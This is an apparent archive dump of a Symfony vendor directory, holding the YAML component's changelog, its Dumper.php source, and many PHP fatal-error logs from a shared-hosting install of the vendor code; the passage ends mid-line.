0ustar00CHANGELOG ========= 6.3 --- * Add support to dump int keys as strings by using the `Yaml::DUMP_NUMERIC_KEY_AS_STRING` flag 6.2 --- * Add support for `!php/enum` and `!php/enum *->value` * Deprecate the `!php/const:` tag in key which will be replaced by the `!php/const` tag (without the colon) since 3.4 6.1 --- * In cases where it will likely improve readability, strings containing single quotes will be double-quoted 5.4 --- * Add new `lint:yaml dirname --exclude=/dirname/foo.yaml --exclude=/dirname/bar.yaml` option to exclude one or more specific files from multiple file list * Allow negatable for the parse tags option with `--no-parse-tags` 5.3 --- * Added `github` format support & autodetection to render errors as annotations when running the YAML linter command in a Github Action environment. 5.1.0 ----- * Added support for parsing numbers prefixed with `0o` as octal numbers. * Deprecated support for parsing numbers starting with `0` as octal numbers. They will be parsed as strings as of Symfony 6.0. Prefix numbers with `0o` so that they are parsed as octal numbers. Before: ```yaml Yaml::parse('072'); ``` After: ```yaml Yaml::parse('0o72'); ``` * Added `yaml-lint` binary. * Deprecated using the `!php/object` and `!php/const` tags without a value. 5.0.0 ----- * Removed support for mappings inside multi-line strings. * removed support for implicit STDIN usage in the `lint:yaml` command, use `lint:yaml -` (append a dash) instead to make it explicit. 4.4.0 ----- * Added support for parsing the inline notation spanning multiple lines. * Added support to dump `null` as `~` by using the `Yaml::DUMP_NULL_AS_TILDE` flag. * deprecated accepting STDIN implicitly when using the `lint:yaml` command, use `lint:yaml -` (append a dash) instead to make it explicit. 4.3.0 ----- * Using a mapping inside a multi-line string is deprecated and will throw a `ParseException` in 5.0. 4.2.0 ----- * added support for multiple files or directories in `LintCommand` 4.0.0 ----- * The behavior of the non-specific tag `!` is changed and now forces non-evaluating your values. * complex mappings will throw a `ParseException` * support for the comma as a group separator for floats has been dropped, use the underscore instead * support for the `!!php/object` tag has been dropped, use the `!php/object` tag instead * duplicate mapping keys throw a `ParseException` * non-string mapping keys throw a `ParseException`, use the `Yaml::PARSE_KEYS_AS_STRINGS` flag to cast them to strings * `%` at the beginning of an unquoted string throw a `ParseException` * mappings with a colon (`:`) that is not followed by a whitespace throw a `ParseException` * the `Dumper::setIndentation()` method has been removed * being able to pass boolean options to the `Yaml::parse()`, `Yaml::dump()`, `Parser::parse()`, and `Dumper::dump()` methods to configure the behavior of the parser and dumper is no longer supported, pass bitmask flags instead * the constructor arguments of the `Parser` class have been removed * the `Inline` class is internal and no longer part of the BC promise * removed support for the `!str` tag, use the `!!str` tag instead * added support for tagged scalars. ```yml Yaml::parse('!foo bar', Yaml::PARSE_CUSTOM_TAGS); // returns TaggedValue('foo', 'bar'); ``` 3.4.0 ----- * added support for parsing YAML files using the `Yaml::parseFile()` or `Parser::parseFile()` method * the `Dumper`, `Parser`, and `Yaml` classes are marked as final * Deprecated the `!php/object:` tag which will be replaced by the `!php/object` tag (without the colon) in 4.0. * Deprecated the `!php/const:` tag which will be replaced by the `!php/const` tag (without the colon) in 4.0. * Support for the `!str` tag is deprecated, use the `!!str` tag instead. * Deprecated using the non-specific tag `!` as its behavior will change in 4.0. It will force non-evaluating your values in 4.0. Use plain integers or `!!float` instead. 3.3.0 ----- * Starting an unquoted string with a question mark followed by a space is deprecated and will throw a `ParseException` in Symfony 4.0. * Deprecated support for implicitly parsing non-string mapping keys as strings. Mapping keys that are no strings will lead to a `ParseException` in Symfony 4.0. Use quotes to opt-in for keys to be parsed as strings. Before: ```php $yaml = << new A(), 'bar' => 1], 0, 0, Yaml::DUMP_EXCEPTION_ON_INVALID_TYPE | Yaml::DUMP_OBJECT); ``` 3.0.0 ----- * Yaml::parse() now throws an exception when a blackslash is not escaped in double-quoted strings 2.8.0 ----- * Deprecated usage of a colon in an unquoted mapping value * Deprecated usage of @, \`, | and > at the beginning of an unquoted string * When surrounding strings with double-quotes, you must now escape `\` characters. Not escaping those characters (when surrounded by double-quotes) is deprecated. Before: ```yml class: "Foo\Var" ``` After: ```yml class: "Foo\\Var" ``` 2.1.0 ----- * Yaml::parse() does not evaluate loaded files as PHP files by default anymore (call Yaml::enablePhpParsing() to get back the old behavior) yaml/Dumper.php000064400000016065151113512260007460 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Tag\TaggedValue; /** * Dumper dumps PHP variables to YAML strings. * * @author Fabien Potencier * * @final */ class Dumper { /** * The amount of spaces to use for indentation of nested nodes. */ private int $indentation; public function __construct(int $indentation = 4) { if ($indentation < 1) { throw new \InvalidArgumentException('The indentation must be greater than zero.'); } $this->indentation = $indentation; } /** * Dumps a PHP value to YAML. * * @param mixed $input The PHP value * @param int $inline The level where you switch to inline YAML * @param int $indent The level of indentation (used internally) * @param int $flags A bit field of Yaml::DUMP_* constants to customize the dumped YAML string */ public function dump(mixed $input, int $inline = 0, int $indent = 0, int $flags = 0): string { $output = ''; $prefix = $indent ? str_repeat(' ', $indent) : ''; $dumpObjectAsInlineMap = true; if (Yaml::DUMP_OBJECT_AS_MAP & $flags && ($input instanceof \ArrayObject || $input instanceof \stdClass)) { $dumpObjectAsInlineMap = empty((array) $input); } if ($inline <= 0 || (!\is_array($input) && !$input instanceof TaggedValue && $dumpObjectAsInlineMap) || empty($input)) { $output .= $prefix.Inline::dump($input, $flags); } elseif ($input instanceof TaggedValue) { $output .= $this->dumpTaggedValue($input, $inline, $indent, $flags, $prefix); } else { $dumpAsMap = Inline::isHash($input); foreach ($input as $key => $value) { if ('' !== $output && "\n" !== $output[-1]) { $output .= "\n"; } if (\is_int($key) && Yaml::DUMP_NUMERIC_KEY_AS_STRING & $flags) { $key = (string) $key; } if (Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK & $flags && \is_string($value) && str_contains($value, "\n") && !str_contains($value, "\r")) { $blockIndentationIndicator = $this->getBlockIndentationIndicator($value); if (isset($value[-2]) && "\n" === $value[-2] && "\n" === $value[-1]) { $blockChompingIndicator = '+'; } elseif ("\n" === $value[-1]) { $blockChompingIndicator = ''; } else { $blockChompingIndicator = '-'; } $output .= sprintf('%s%s%s |%s%s', $prefix, $dumpAsMap ? Inline::dump($key, $flags).':' : '-', '', $blockIndentationIndicator, $blockChompingIndicator); foreach (explode("\n", $value) as $row) { if ('' === $row) { $output .= "\n"; } else { $output .= sprintf("\n%s%s%s", $prefix, str_repeat(' ', $this->indentation), $row); } } continue; } if ($value instanceof TaggedValue) { $output .= sprintf('%s%s !%s', $prefix, $dumpAsMap ? Inline::dump($key, $flags).':' : '-', $value->getTag()); if (Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK & $flags && \is_string($value->getValue()) && str_contains($value->getValue(), "\n") && !str_contains($value->getValue(), "\r\n")) { $blockIndentationIndicator = $this->getBlockIndentationIndicator($value->getValue()); $output .= sprintf(' |%s', $blockIndentationIndicator); foreach (explode("\n", $value->getValue()) as $row) { $output .= sprintf("\n%s%s%s", $prefix, str_repeat(' ', $this->indentation), $row); } continue; } if ($inline - 1 <= 0 || null === $value->getValue() || \is_scalar($value->getValue())) { $output .= ' '.$this->dump($value->getValue(), $inline - 1, 0, $flags)."\n"; } else { $output .= "\n"; $output .= $this->dump($value->getValue(), $inline - 1, $dumpAsMap ? $indent + $this->indentation : $indent + 2, $flags); } continue; } $dumpObjectAsInlineMap = true; if (Yaml::DUMP_OBJECT_AS_MAP & $flags && ($value instanceof \ArrayObject || $value instanceof \stdClass)) { $dumpObjectAsInlineMap = empty((array) $value); } $willBeInlined = $inline - 1 <= 0 || !\is_array($value) && $dumpObjectAsInlineMap || empty($value); $output .= sprintf('%s%s%s%s', $prefix, $dumpAsMap ? Inline::dump($key, $flags).':' : '-', $willBeInlined ? ' ' : "\n", $this->dump($value, $inline - 1, $willBeInlined ? 0 : $indent + $this->indentation, $flags) ).($willBeInlined ? "\n" : ''); } } return $output; } private function dumpTaggedValue(TaggedValue $value, int $inline, int $indent, int $flags, string $prefix): string { $output = sprintf('%s!%s', $prefix ? $prefix.' ' : '', $value->getTag()); if (Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK & $flags && \is_string($value->getValue()) && str_contains($value->getValue(), "\n") && !str_contains($value->getValue(), "\r\n")) { $blockIndentationIndicator = $this->getBlockIndentationIndicator($value->getValue()); $output .= sprintf(' |%s', $blockIndentationIndicator); foreach (explode("\n", $value->getValue()) as $row) { $output .= sprintf("\n%s%s%s", $prefix, str_repeat(' ', $this->indentation), $row); } return $output; } if ($inline - 1 <= 0 || null === $value->getValue() || \is_scalar($value->getValue())) { return $output.' '.$this->dump($value->getValue(), $inline - 1, 0, $flags)."\n"; } return $output."\n".$this->dump($value->getValue(), $inline - 1, $indent, $flags); } private function getBlockIndentationIndicator(string $value): string { $lines = explode("\n", $value); // If the first line (that is neither empty nor contains only spaces) // starts with a space character, the spec requires a block indentation indicator // http://www.yaml.org/spec/1.2/spec.html#id2793979 foreach ($lines as $line) { if ('' !== trim($line, ' ')) { return (' ' === substr($line, 0, 1)) ? (string) $this->indentation : ''; } } return ''; } } polyfill-intl-normalizer/Resources/stubs/error_log000064400000000350151121404620016543 0ustar00[26-Nov-2025 19:43:13 UTC] PHP Fatal error: Cannot declare class Normalizer, because the name is already in use in /home/fluxyjvi/public_html/project/vendor/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php on line 3 routing/Loader/Configurator/Traits/error_log000064400000000370151121404620015262 0ustar00[26-Nov-2025 13:34:31 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\LocalizedRouteTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/Traits/AddTrait.php on line 22 routing/Loader/Configurator/error_log000064400000003615151121404620014021 0ustar00[25-Nov-2025 19:59:14 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\AddTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/RouteConfigurator.php on line 19 [25-Nov-2025 20:21:06 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\AddTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php on line 20 [25-Nov-2025 20:21:08 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\AddTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php on line 20 [25-Nov-2025 20:24:08 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\AddTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/RoutingConfigurator.php on line 20 [26-Nov-2025 17:10:59 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\HostTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php on line 19 [26-Nov-2025 17:11:33 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\AddTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php on line 20 [26-Nov-2025 18:44:10 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\AddTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/RoutingConfigurator.php on line 20 [26-Nov-2025 18:45:38 UTC] PHP Fatal error: Trait "Symfony\Component\Routing\Loader\Configurator\Traits\AddTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Loader/Configurator/RouteConfigurator.php on line 19 routing/Generator/Dumper/error_log000064400000003066151121404620013333 0ustar00[25-Nov-2025 17:58:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Routing\Generator\Dumper\GeneratorDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/CompiledUrlGeneratorDumper.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/CompiledUrlGeneratorDumper.php on line 25 [25-Nov-2025 18:05:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Routing\Generator\Dumper\GeneratorDumperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/GeneratorDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/GeneratorDumper.php on line 21 [26-Nov-2025 17:12:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Routing\Generator\Dumper\GeneratorDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/CompiledUrlGeneratorDumper.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/CompiledUrlGeneratorDumper.php on line 25 [26-Nov-2025 19:35:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Routing\Generator\Dumper\GeneratorDumperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/GeneratorDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Generator/Dumper/GeneratorDumper.php on line 21 routing/Matcher/Dumper/error_log000064400000003006151121404620012762 0ustar00[25-Nov-2025 17:59:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Routing\Matcher\Dumper\MatcherDumperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/MatcherDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/MatcherDumper.php on line 21 [25-Nov-2025 18:46:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Routing\Matcher\Dumper\MatcherDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/CompiledUrlMatcherDumper.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/CompiledUrlMatcherDumper.php on line 27 [26-Nov-2025 18:43:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Routing\Matcher\Dumper\MatcherDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/CompiledUrlMatcherDumper.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/CompiledUrlMatcherDumper.php on line 27 [26-Nov-2025 19:44:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Routing\Matcher\Dumper\MatcherDumperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/MatcherDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/routing/Matcher/Dumper/MatcherDumper.php on line 21 var-dumper/Command/Descriptor/error_log000064400000001446151121404630014241 0ustar00[25-Nov-2025 18:05:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\VarDumper\Command\Descriptor\DumpDescriptorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Command/Descriptor/CliDescriptor.php on line 27 [25-Nov-2025 19:53:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\VarDumper\Command\Descriptor\DumpDescriptorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php on line 25 var-dumper/Dumper/ContextProvider/error_log000064400000002411151121404630015131 0ustar00[25-Nov-2025 18:02:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php on line 26 [25-Nov-2025 19:58:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php on line 19 [25-Nov-2025 22:01:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php on line 23 error-handler/Resources/assets/images/error_log000064400000000562151121404630015746 0ustar00[27-Nov-2025 05:33:35 UTC] PHP Fatal error: Uncaught Error: Using $this when not in object context in /home/fluxyjvi/public_html/project/vendor/symfony/error-handler/Resources/assets/images/symfony-ghost.svg.php:1 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/error-handler/Resources/assets/images/symfony-ghost.svg.php on line 1 mailer/Transport/Smtp/error_log000064400000002136151121404630012650 0ustar00[25-Nov-2025 20:01:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/SmtpTransport.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/SmtpTransport.php on line 32 [25-Nov-2025 20:05:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\Smtp\SmtpTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/EsmtpTransport.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/EsmtpTransport.php on line 28 [25-Nov-2025 20:23:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransportFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/EsmtpTransportFactory.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/EsmtpTransportFactory.php on line 22 mailer/Transport/Smtp/Stream/error_log000064400000001404151121404630014100 0ustar00[26-Nov-2025 12:53:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\Smtp\Stream\AbstractStream" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/Stream/ProcessStream.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/Stream/ProcessStream.php on line 24 [26-Nov-2025 12:56:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\Smtp\Stream\AbstractStream" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/Stream/SocketStream.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/Smtp/Stream/SocketStream.php on line 24 dom-crawler/Test/Constraint/error_log000064400000010223151121404640013734 0ustar00[25-Nov-2025 18:45:09 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextContains.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextContains.php on line 17 [25-Nov-2025 18:45:27 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorAttributeValueSame.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorAttributeValueSame.php on line 17 [25-Nov-2025 18:46:10 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorExists.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorExists.php on line 17 [25-Nov-2025 19:52:52 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextSame.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextSame.php on line 17 [25-Nov-2025 20:20:35 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorCount.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorCount.php on line 17 [25-Nov-2025 20:20:37 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorCount.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorCount.php on line 17 [26-Nov-2025 17:38:24 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextSame.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextSame.php on line 17 [26-Nov-2025 19:18:54 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorAttributeValueSame.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorAttributeValueSame.php on line 17 [26-Nov-2025 19:38:13 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorExists.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorExists.php on line 17 [26-Nov-2025 19:42:50 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextContains.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorTextContains.php on line 17 [26-Nov-2025 19:46:17 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorCount.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/dom-crawler/Test/Constraint/CrawlerSelectorCount.php on line 17 css-selector/Parser/Shortcut/error_log000064400000005754151121404640014147 0ustar00[25-Nov-2025 19:57:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/EmptyStringParser.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/EmptyStringParser.php on line 32 [25-Nov-2025 20:01:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ClassParser.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ClassParser.php on line 29 [25-Nov-2025 20:23:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/HashParser.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/HashParser.php on line 29 [25-Nov-2025 22:03:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ElementParser.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ElementParser.php on line 28 [26-Nov-2025 18:47:01 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/HashParser.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/HashParser.php on line 29 [26-Nov-2025 18:48:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/EmptyStringParser.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/EmptyStringParser.php on line 32 [26-Nov-2025 19:06:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ElementParser.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ElementParser.php on line 28 [26-Nov-2025 19:07:42 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ClassParser.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Shortcut/ClassParser.php on line 29 css-selector/Parser/Handler/error_log000064400000011130151121404640013672 0ustar00[25-Nov-2025 18:04:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/WhitespaceHandler.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/WhitespaceHandler.php on line 28 [25-Nov-2025 19:52:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/CommentHandler.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/CommentHandler.php on line 27 [25-Nov-2025 20:00:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/IdentifierHandler.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/IdentifierHandler.php on line 30 [25-Nov-2025 20:03:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/NumberHandler.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/NumberHandler.php on line 29 [25-Nov-2025 21:36:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/HashHandler.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/HashHandler.php on line 30 [25-Nov-2025 22:04:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/StringHandler.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/StringHandler.php on line 32 [26-Nov-2025 17:10:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/CommentHandler.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/CommentHandler.php on line 27 [26-Nov-2025 17:11:42 UTC] PHP Fatal error: 